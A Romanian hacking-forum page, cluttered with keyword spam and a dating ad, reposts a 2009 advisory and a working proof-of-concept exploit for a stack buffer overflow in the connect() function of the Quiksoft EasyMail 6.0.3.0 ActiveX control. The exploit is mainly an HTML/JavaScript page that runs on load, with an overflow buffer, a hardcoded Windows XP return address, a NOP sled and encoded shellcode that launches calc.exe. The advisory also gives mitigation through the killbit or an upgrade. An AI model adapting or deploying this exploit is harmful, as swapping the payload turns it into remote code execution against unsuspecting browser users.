Hack Forums,Cryptography, Encryption, and DecryTV Online,Dolce Sport Live,GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh,free porn movie,xxx,sex,Digi keyMatrimoniale,Wantedsoft
Welcome to www.team3d.3xforum.ro GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh 		Lista Forumurilor Pe Tematici
Hack Forums,Cryptography, Encryption, and DecryTV Online,Dolce Sport Live,GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh,free porn movie,xxx,sex,Digi keyMatrimoniale,Wantedsoft | Reguli | Inregistrare | Login

POZE HACK FORUMS,CRYPTOGRAPHY, ENCRYPTION, AND DECRYTV ONLINE,DOLCE SPORT LIVE,GSP SI DIGI SPORT ONLINE,FILELIST SI OPENETWORK,YAHOO INVISIBLE CHECK,HACK,WINDOWS,LINUX,GAMES,CS,ARHIVA,PSYBNC,MIRC,SCAN,SSH,FREE PORN MOVIE,XXX,SEX,DIGI KEYMATRIMONIALE,WANTEDSOFT

Nu sunteti logat. 		Nou pe simpatie:
Andreea Miluta pe Simpatie.ro
Femeie
24 ani
Braila
cauta Barbat
30 - 48 ani
Hack Forums,Cryptography, Encryption, and DecryTV Online,Dolce Sport Live,GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh,free porn movie,xxx,sex,Digi keyMatrimoniale,Wantedsoft / Exploits,vulnerabilities,videos,shellcode / Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX BOF Exploit Moderat de Anonymus
Autor
Mesaj Pagini: 1
[ESP][D][M][X]Team**3D**
Administrator

Inregistrat: acum 18 ani
Postari: 78239
<!--

I - TITLE

Security advisory: Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX stack overflow exploit

II - SUMMARY

Description: Remotely exploitable buffer overflow in ActiveX component
Quiksoft EasyMail 6.0.3.0 allows for the arbitrary code execution in the
user context.

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com),

Date: September 17th, 2009

Severity: Medium (remote code execution in the user context)

References:

III - OVERVIEW

Quote from quiksoft.com: "The EasyMail Products are relied upon by over thousands
of international corporations, federal, state and local organizations, and individual
developers. Quiksoft has established the EasyMail products as "the professional,
reliable, and easy to use choice for e-mail development". More information about
the product can be found online at.

IV - DETAILS

The software Quiksoft EasyMail 6.0.3.0 ships emimap4.dll, an ActiveX component
to facilitate the development of IMAP4-aware applications. The connect() function
of this component is prone to a classic buffer overflow vulnerability when a
particularly long argument is passed and the application attempts to copy that
data into a finite buffer. This allows for the execution of arbitrary code in the
user context.

V - MITIGATING MEASURES

Either set the killbit for the relevant ActiveX component (clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D)
or install the latest version of Quiksoft EasyMail which is not considered vulnerable.

VI - NOTES

Code below was taken from an exploit originally written by e.b
(see). Thanks also to Francis Provencher
for drawing my attention on Quiksoft EasyMail. Shellcode below is rather harmless and
executes calc.exe.

Tested on Windows XP SP2 English, IE6, emimap4.dll version 6.0.3.0

-->

<html>
<head>
<title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title>
<script language="JavaScript" defer>
   function Check() {
        var buf = 'A';
    while (buf.length <= 440) buf = buf + 'A';


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2
var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
                         "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +
                         "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +
                         "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +
                         "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +
                         "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +
                         "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +
                         "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +
                         "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +
                         "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +
                         "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +
                         "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +
                         "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +
                         "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +
                         "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +
                         "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +
                         "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +
                         "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +
                         "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +
                         "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +
                         "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +
                         "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +
                         "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
                         "%4e%31%75%74%38%70%65%77%70%43";

       var eip = unescape("%0F%DD%17%7D"; // Windows XP SP2 English
          var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90";

       var m = buf + eip + nop + shellcode1 + nop;
              obj.connect(m);
  }
    </script>
</head>
<body onload="JavaScript: return Check();">
   <object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D">
    Failed to instantiate object.
   </object>
</body>
</html>
pus acum 16 ani
   
Pagini: 1  

Mergi la